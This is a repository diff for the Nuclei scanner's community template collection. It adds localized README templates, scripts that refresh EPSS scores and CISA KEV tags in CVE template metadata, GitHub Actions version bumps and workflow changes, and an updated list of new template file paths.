テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
## Nuclei テンプレートの概要
Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
<table>
<tr>
<td>
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 ドキュメント
-----
新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
💪 貢献
-----
Nucleiテンプレートはコミュニティの貢献によって動作します。
[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 ディスカッション
-----
質問、疑問、アイデアを話し合いたいですか?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
👨‍💻 コミュニティ
-----
プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
皆さんの貢献とコミュニティの活性化への努力に感謝します。
:heart:
"""
+84
View File
@@ -0,0 +1,84 @@
f"""
<h1 align="center">
Nuclei 템플릿
</h1>
<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">논의</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">디스코드</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
</p>
----
템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
## Nuclei 템플릿 개요
고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다.
<table>
<tr>
<td>
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 문서
-----
새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
💪 기여
-----
Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 논의
-----
같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
👨‍💻 커뮤니티
-----
프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
:heart:
"""
+256
View File
@@ -0,0 +1,256 @@
#!/usr/bin/env python3
"""
EPSS Score Updater for Nuclei Templates
This script updates EPSS scores for all CVE templates by:
1. Scanning all CVE YAML files
2. Extracting CVE IDs
3. Fetching latest EPSS scores from the FIRST API
4. Updating the templates with new scores
"""
import os
import re
import sys
import time
import yaml
import requests
from pathlib import Path
from typing import Dict, List, Tuple, Optional
# Configuration
EPSS_API_URL = "https://api.first.org/data/v1/epss"
BATCH_SIZE = 50 # API limit for batch requests
RATE_LIMIT_DELAY = 1 # seconds between API calls
MAX_RETRIES = 3
TIMEOUT = 30
class EPSSUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
def find_cve_templates(self) -> List[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
# Filter duplicates and sort
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
"""Fetch EPSS scores from API for multiple CVEs."""
epss_data = {}
# Process in batches
for i in range(0, len(cve_ids), BATCH_SIZE):
batch = cve_ids[i:i+BATCH_SIZE]
cve_param = ','.join(batch)
for attempt in range(MAX_RETRIES):
try:
print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
response = requests.get(
EPSS_API_URL,
params={'cve': cve_param},
timeout=TIMEOUT
)
response.raise_for_status()
data = response.json()
if data.get('status') == 'OK' and 'data' in data:
for item in data['data']:
cve_id = item['cve'].upper()
epss_data[cve_id] = {
'epss': item['epss'],
'percentile': item['percentile']
}
break # Success, exit retry loop
except requests.RequestException as e:
print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print(f"Failed to fetch EPSS data for batch: {batch}")
else:
time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
except Exception as e:
print(f"Unexpected error: {e}")
break
# Rate limiting between batches
if i + BATCH_SIZE < len(cve_ids):
time.sleep(RATE_LIMIT_DELAY)
return epss_data
def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
"""Update a template file with new EPSS scores."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# Parse YAML to get structure
try:
template_data = yaml.safe_load(content)
except yaml.YAMLError as e:
print(f"YAML parsing error in {file_path}: {e}")
return False
if not template_data or 'info' not in template_data:
print(f"Invalid template structure in {file_path}")
return False
# Ensure classification section exists
if 'classification' not in template_data['info']:
template_data['info']['classification'] = {}
classification = template_data['info']['classification']
# Convert EPSS values to float for comparison
new_epss = float(epss_data['epss'])
new_percentile = float(epss_data['percentile'])
current_epss = classification.get('epss-score', 0)
current_percentile = classification.get('epss-percentile', 0)
# Check if update is needed
if (abs(new_epss - float(current_epss)) < 0.00001 and
abs(new_percentile - float(current_percentile)) < 0.00001):
return False # No significant change
# Update scores using string replacement to preserve formatting
epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
# Update epss-score
if 'epss-score:' in content:
content = re.sub(
r'(\s+epss-score:\s*)[0-9.]+',
fr'\g<1>{epss_score_str}',
content
)
else:
# Add after cve-id if exists
if 'cve-id:' in content:
content = re.sub(
r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
fr'\g<1> epss-score: {epss_score_str}\n',
content
)
# Update epss-percentile
if 'epss-percentile:' in content:
content = re.sub(
r'(\s+epss-percentile:\s*)[0-9.]+',
fr'\g<1>{percentile_str}',
content
)
else:
# Add after epss-score
content = re.sub(
r'(\s+epss-score:\s*[0-9.]+\s*\n)',
fr'\g<1> epss-percentile: {percentile_str}\n',
content
)
# Write updated content
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
return True
except Exception as e:
print(f"Error updating {file_path}: {e}")
return False
def run(self):
"""Main execution function."""
print("Starting EPSS score update...")
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Extract CVE IDs and map to files
cve_to_files = {}
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
if cve_id not in cve_to_files:
cve_to_files[cve_id] = []
cve_to_files[cve_id].append(file_path)
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"Found {len(cve_to_files)} unique CVE IDs")
# Fetch EPSS scores
all_cve_ids = list(cve_to_files.keys())
epss_data = self.fetch_epss_scores(all_cve_ids)
print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
# Update templates
for cve_id, files in cve_to_files.items():
if cve_id in epss_data:
for file_path in files:
if self.update_template(file_path, cve_id, epss_data[cve_id]):
self.updated_count += 1
else:
print(f"No EPSS data found for {cve_id}")
self.error_count += 1
print(f"\nUpdate complete!")
print(f"Templates updated: {self.updated_count}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = EPSSUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
+258
View File
@@ -0,0 +1,258 @@
#!/usr/bin/env python3
"""
KEV Tagging Updater for Nuclei Templates
This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
1. Fetching the latest CISA KEV catalog
2. Checking each CVE template against the KEV list
3. Adding 'kev' tag to the tags field for KEV CVEs
"""
import os
import re
import sys
import time
import json
import requests
from pathlib import Path
from typing import Set, Optional
# Configuration
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
TIMEOUT = 30
MAX_RETRIES = 3
class KEVUpdater:
def __init__(self, root_dir: str):
self.root_dir = Path(root_dir)
self.updated_count = 0
self.error_count = 0
self.cisa_kev_cves = set()
def find_cve_templates(self) -> list[Path]:
"""Find all CVE template files."""
cve_files = []
# Search for CVE templates in common directories
patterns = [
"**/cves/**/*.yaml",
"**/cve-*.yaml"
]
for pattern in patterns:
cve_files.extend(self.root_dir.glob(pattern))
return sorted(list(set(cve_files)))
def extract_cve_id(self, file_path: Path) -> Optional[str]:
"""Extract CVE ID from filename or template content."""
# First try filename
filename = file_path.stem
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
if cve_match:
return cve_match.group().upper()
# If not found in filename, try content
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
if cve_match:
return cve_match.group(1).upper()
except Exception as e:
print(f"Error reading {file_path}: {e}")
return None
def fetch_cisa_kev_data(self) -> Set[str]:
"""Fetch CISA KEV catalog and return set of CVE IDs."""
kev_cves = set()
for attempt in range(MAX_RETRIES):
try:
print("Fetching CISA KEV catalog...")
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
response.raise_for_status()
data = response.json()
if 'vulnerabilities' in data:
for vuln in data['vulnerabilities']:
if 'cveID' in vuln:
kev_cves.add(vuln['cveID'].upper())
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
break
else:
print("Invalid CISA KEV data format")
except requests.RequestException as e:
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
if attempt == MAX_RETRIES - 1:
print("Failed to fetch CISA KEV data")
else:
time.sleep(2 * (attempt + 1))
except Exception as e:
print(f"Unexpected error fetching CISA KEV: {e}")
break
return kev_cves
def has_kev_tag(self, content: str) -> bool:
"""Check if template already has KEV tag in tags field."""
# Look for tags field and check if kev is present
tags_match = re.search(r'tags:\s*([^\n]+)', content)
if tags_match:
tags_str = tags_match.group(1)
# Check for kev as a standalone tag (not part of another word)
if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
return True
return False
def add_kev_tag(self, content: str) -> tuple[str, bool]:
"""Add kev tag to the tags field. Returns (updated_content, was_updated)."""
if self.has_kev_tag(content):
return content, False
# Find the tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2).rstrip()
# Add kev tag at the end
new_tags = existing_tags + ',kev'
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
else:
print("Warning: No tags field found to add kev tag")
return content, False
def remove_kev_tag(self, content: str) -> tuple[str, bool]:
"""Remove kev tag from the tags field. Returns (updated_content, was_updated)."""
if not self.has_kev_tag(content):
return content, False
# Find and update tags field
tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
if tags_match:
indent = tags_match.group(1)
existing_tags = tags_match.group(2)
# Remove kev tag in various positions
new_tags = existing_tags
# Remove ,kev or kev, patterns
new_tags = re.sub(r',\s*kev\b', '', new_tags)
new_tags = re.sub(r'\bkev\s*,', '', new_tags)
new_tags = re.sub(r'^\s*kev\s*$', '', new_tags) # kev is only tag
new_tags = re.sub(r'^\s*kev\s*,\s*', '', new_tags) # kev is first tag
if new_tags != existing_tags:
new_line = f"{indent}{new_tags}"
updated_content = content.replace(tags_match.group(0), new_line)
return updated_content, True
return content, False
def update_template_with_kev(self, file_path: Path, cve_id: str, is_kev: bool) -> bool:
"""Update a template file with KEV tags."""
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
original_content = content
updated = False
if is_kev:
# Add kev tag if missing
content, tag_added = self.add_kev_tag(content)
if tag_added:
print(f"Added kev tag to {file_path.name}")
updated = True
else:
# Remove kev tag if present but CVE is not in KEV catalog
if self.has_kev_tag(content):
# Only remove if we're confident about our KEV data
if len(self.cisa_kev_cves) > 1000: # Sanity check
content, tag_removed = self.remove_kev_tag(content)
if tag_removed:
print(f"Removed kev tag from {file_path.name} (no longer in KEV catalog)")
updated = True
else:
print(f"Warning: {cve_id} has kev tag but not in current KEV catalog (keeping tag)")
# Write updated content if changes were made
if updated:
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
return True
return False
except Exception as e:
print(f"Error updating {file_path}: {e}")
self.error_count += 1
return False
def run(self):
"""Main execution function."""
print("Starting KEV tagging update...")
# Fetch KEV data
self.cisa_kev_cves = self.fetch_cisa_kev_data()
if not self.cisa_kev_cves:
print("No CISA KEV data available, exiting")
return
# Find all CVE templates
template_files = self.find_cve_templates()
print(f"Found {len(template_files)} CVE template files")
if not template_files:
print("No CVE templates found!")
return
# Process templates
kev_found = 0
non_kev_with_tag = 0
for file_path in template_files:
cve_id = self.extract_cve_id(file_path)
if cve_id:
is_kev = cve_id in self.cisa_kev_cves
if is_kev:
kev_found += 1
if self.update_template_with_kev(file_path, cve_id, is_kev):
self.updated_count += 1
# Track non-KEV CVEs that have kev tags for reporting
if not is_kev and self.has_kev_tag(open(file_path, 'r').read()):
non_kev_with_tag += 1
else:
print(f"Could not extract CVE ID from {file_path}")
print(f"\nKEV update complete!")
print(f"Templates updated: {self.updated_count}")
print(f"KEV CVEs found in templates: {kev_found}")
print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
print(f"Non-KEV templates with kev tags: {non_kev_with_tag}")
print(f"Errors: {self.error_count}")
def main():
"""Main entry point."""
if len(sys.argv) > 1:
root_dir = sys.argv[1]
else:
root_dir = os.getcwd()
updater = KEVUpdater(root_dir)
updater.run()
if __name__ == "__main__":
main()
+19
View File
@@ -18,6 +18,25 @@ if __name__ == "__main__":
template = eval(open(".github/scripts/README.tmpl", "r").read())
print(template)
# Update main README.md
f = open("README.md", "w")
f.write(template)
f.close()
# Update localized README files with their respective templates
localized_files = {
"README_CN.md": ".github/scripts/README_CN.tmpl",
"README_JA.md": ".github/scripts/README_JA.tmpl",
"README_KR.md": ".github/scripts/README_KR.tmpl"
}
for readme_file, template_file in localized_files.items():
try:
localized_template = eval(open(template_file, "r").read())
f = open(readme_file, "w")
f.write(localized_template)
f.close()
except FileNotFoundError:
print(f"Template {template_file} not found, skipping {readme_file}")
continue
+2 -2
View File
@@ -15,8 +15,8 @@ jobs:
permissions: write-all
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # checkout the repository content
- uses: actions/setup-python@v5
- uses: actions/checkout@v5 # checkout the repository content
- uses: actions/setup-python@v6
with:
python-version: '3.10' # install the python version needed
- run: pip install requests
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: projectdiscovery/actions/setup/go@v1
with:
go-version: 'stable'
+53
View File
@@ -0,0 +1,53 @@
name: 📊 EPSS Score Update
on:
schedule:
# Run daily at 2:00 AM UTC
- cron: '0 2 * * *'
workflow_dispatch:
jobs:
update-epss:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v5
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update EPSS scores
run: python .github/scripts/update-epss.py
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update EPSS scores 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
+56
View File
@@ -0,0 +1,56 @@
name: 📋 KEV Tag Update
on:
schedule:
# Run daily at 3:00 AM UTC (1 hour after EPSS update)
- cron: '0 3 * * *'
workflow_dispatch:
jobs:
update-kev:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Checkout repository
uses: actions/checkout@v5
- name: Setup Python
uses: actions/setup-python@v6
with:
python-version: '3.11'
- name: Install dependencies
run: |
pip install requests pyyaml
- name: Update KEV tags
run: python .github/scripts/update-kev.py
env:
# Optional: Add VulnCheck API key if available
VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "changes=false" >> $GITHUB_OUTPUT
else
echo "changes=true" >> $GITHUB_OUTPUT
fi
- name: Setup Git
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/setup/git@v1
- name: Commit changes
if: steps.changes.outputs.changes == 'true'
uses: projectdiscovery/actions/commit@v1
with:
files: '**/cves/**/*.yaml'
message: 'chore: update KEV tags and metadata 🤖'
- name: Push changes
if: steps.changes.outputs.changes == 'true'
run: |
git pull origin $GITHUB_REF --rebase
git push origin $GITHUB_REF
+1 -1
View File
@@ -18,7 +18,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
with:
fetch-depth: 0
- name: Generate new addition list
+3 -3
View File
@@ -13,14 +13,14 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
- uses: actions/checkout@v5
- uses: actions/setup-python@v6
with:
python-version: "3.8"
- run: python .github/scripts/update-readme.py
- uses: projectdiscovery/actions/setup/git@v1
- uses: projectdiscovery/actions/commit@v1
with:
files: 'README.md'
files: 'README.md README_*.md'
message: 'docs: update README 🤖'
- run: git push origin $GITHUB_REF
+1 -1
View File
@@ -16,7 +16,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: projectdiscovery/actions/generate/checksum@v1
with:
templates-directory: '${{ github.workspace }}'
+3 -3
View File
@@ -14,7 +14,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
token: '${{ secrets.GITHUB_TOKEN}}'
@@ -38,10 +38,10 @@ jobs:
runs-on: windows-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- name: Set up Go
uses: actions/setup-go@v5
uses: actions/setup-go@v6
with:
go-version: '1.21'
+1 -1
View File
@@ -8,7 +8,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: projectdiscovery/actions/setup/templateman@v1
with:
token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
+1 -1
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
with:
fetch-depth: 0
- uses: projectdiscovery/actions/templates/stats@v1
+5 -5
View File
@@ -11,7 +11,7 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: karancode/[email protected]
with:
yamllint_config_filepath: .yamllint
@@ -23,12 +23,12 @@ jobs:
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: projectdiscovery/actions/setup/nuclei@v1
with:
token: '${{ secrets.GITHUB_TOKEN }}'
- name: Validate templates
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
weak-matcher-checks:
needs: lint
@@ -40,7 +40,7 @@ jobs:
env:
HONEYPOT_URL: 'http://honey.scanme.sh'
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v5
- uses: dorny/paths-filter@v3
id: filter
with:
@@ -61,7 +61,7 @@ jobs:
env:
CHANGED_FILES: '${{ steps.filter.outputs.changed_files }}'
working-directory: '.github/scripts/'
- uses: actions/github-script@v7
- uses: actions/github-script@v8
if: steps.check.outputs.weak == 'true'
with:
script: |
@@ -10,10 +10,10 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Check out repository code
uses: actions/checkout@v4
uses: actions/checkout@v5
- name: Install Python3
uses: actions/setup-python@v5
uses: actions/setup-python@v6
with:
python-version: "3.10"
+3 -1
View File
@@ -3,4 +3,6 @@
local/
.checksum
.new-additions
*.txt
*.txt
/.claude
CLAUDE.md
+38 -81
View File
@@ -1,81 +1,38 @@
code/cves/2022/CVE-2022-42475.yaml
code/cves/2025/CVE-2025-6216.yaml
code/windows/audit/kisa/account-lockout-threshold.yaml
code/windows/audit/kisa/admin-account-rename.yaml
code/windows/audit/kisa/admin-group-minimal.yaml
code/windows/audit/kisa/autologon-control.yaml
code/windows/audit/kisa/crash-on-audit-fail.yaml
code/windows/audit/kisa/dns-zone-transfer-check.yaml
code/windows/audit/kisa/ftp-access-control-check.yaml
code/windows/audit/kisa/ftp-anonymous-check.yaml
code/windows/audit/kisa/ftp-directory-permission-check.yaml
code/windows/audit/kisa/hard-disk-default-share.yaml
code/windows/audit/kisa/password-cleartext-encryption.yaml
code/windows/audit/kisa/password-never-expires.yaml
code/windows/audit/kisa/rds-removal-check.yaml
code/windows/audit/kisa/remote-registry-access-check.yaml
code/windows/audit/kisa/remote-system-shutdown.yaml
code/windows/audit/kisa/sam-file-access-control.yaml
code/windows/audit/kisa/service-pack-check.yaml
code/windows/audit/kisa/shutdown-without-logon.yaml
code/windows/audit/kisa/unnecessary-accounts-check.yaml
code/windows/audit/kisa/unnecessary-service-check.yaml
http/cves/2020/CVE-2020-9547.yaml
http/cves/2020/CVE-2020-9548.yaml
http/cves/2022/CVE-2022-23397.yaml
http/cves/2023/CVE-2023-49230.yaml
http/cves/2024/CVE-2024-50334.yaml
http/cves/2025/CVE-2025-2010.yaml
http/cves/2025/CVE-2025-27505.yaml
http/cves/2025/CVE-2025-32813.yaml
http/cves/2025/CVE-2025-32814.yaml
http/cves/2025/CVE-2025-32815.yaml
http/cves/2025/CVE-2025-34040.yaml
http/cves/2025/CVE-2025-41646.yaml
http/cves/2025/CVE-2025-4380.yaml
http/cves/2025/CVE-2025-47812.yaml
http/cves/2025/CVE-2025-47813.yaml
http/cves/2025/CVE-2025-48827.yaml
http/cves/2025/CVE-2025-49493.yaml
http/cves/2025/CVE-2025-52488.yaml
http/cves/2025/CVE-2025-53624.yaml
http/cves/2025/CVE-2025-5777.yaml
http/default-logins/molgenis/molgenis-default-login.yaml
http/exposed-panels/cisco-cm-panel.yaml
http/exposed-panels/cisco-prime-license-manager-panel.yaml
http/exposed-panels/google-adk-api-exposed.yaml
http/exposed-panels/google-adk-webui-exposed.yaml
http/exposed-panels/molgenis-panel.yaml
http/exposed-panels/peplink-panel.yaml
http/exposed-panels/wingftp-panel.yaml
http/miscellaneous/torrent-website-detect.yaml
http/misconfiguration/dd-wrt-controlpanel-exposure.yaml
http/misconfiguration/installer/pritunl-installer.yaml
http/misconfiguration/twonky-server-exposure.yaml
http/osint/user-enumeration/sessionize.yaml
http/technologies/graphql/graphql-apiforwp-detect.yaml
http/technologies/graphql/graphql-apollo-detect.yaml
http/technologies/graphql/graphql-ariadne-detect.yaml
http/technologies/graphql/graphql-dianajl-detect.yaml
http/technologies/graphql/graphql-flutter-detect.yaml
http/technologies/graphql/graphql-go-detect.yaml
http/technologies/graphql/graphql-gqlgen-detect.yaml
http/technologies/graphql/graphql-graphene-detect.yaml
http/technologies/graphql/graphql-hasura-detect.yaml
http/technologies/graphql/graphql-hypergraphql-detect.yaml
http/technologies/graphql/graphql-java-detect.yaml
http/technologies/graphql/graphql-juniper-detect.yaml
http/technologies/graphql/graphql-php-detect.yaml
http/technologies/graphql/graphql-ruby-detect.yaml
http/technologies/graphql/graphql-sangria-detect.yaml
http/technologies/graphql/graphql-strawberry-detect.yaml
http/technologies/graphql/graphql-tartiflette-detect.yaml
http/technologies/graphql/graphql-wpgraphql-detect.yaml
http/technologies/wordpress/plugins/blocksy-companion.yaml
http/technologies/wordpress/plugins/gosmtp.yaml
http/technologies/wordpress/plugins/honeypot.yaml
http/technologies/wordpress/plugins/pagelayer.yaml
http/technologies/wordpress/plugins/siteseo.yaml
http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
http/vulnerabilities/infoblox/infoblox-netmri-rails-cookie-rce.yaml
network/detection/jdwp-detect.yaml
headless/cves/2025/CVE-2025-50738.yaml
http/cves/2016/CVE-2016-15042.yaml
http/cves/2019/CVE-2019-7195.yaml
http/cves/2020/CVE-2020-36836.yaml
http/cves/2022/CVE-2022-0429.yaml
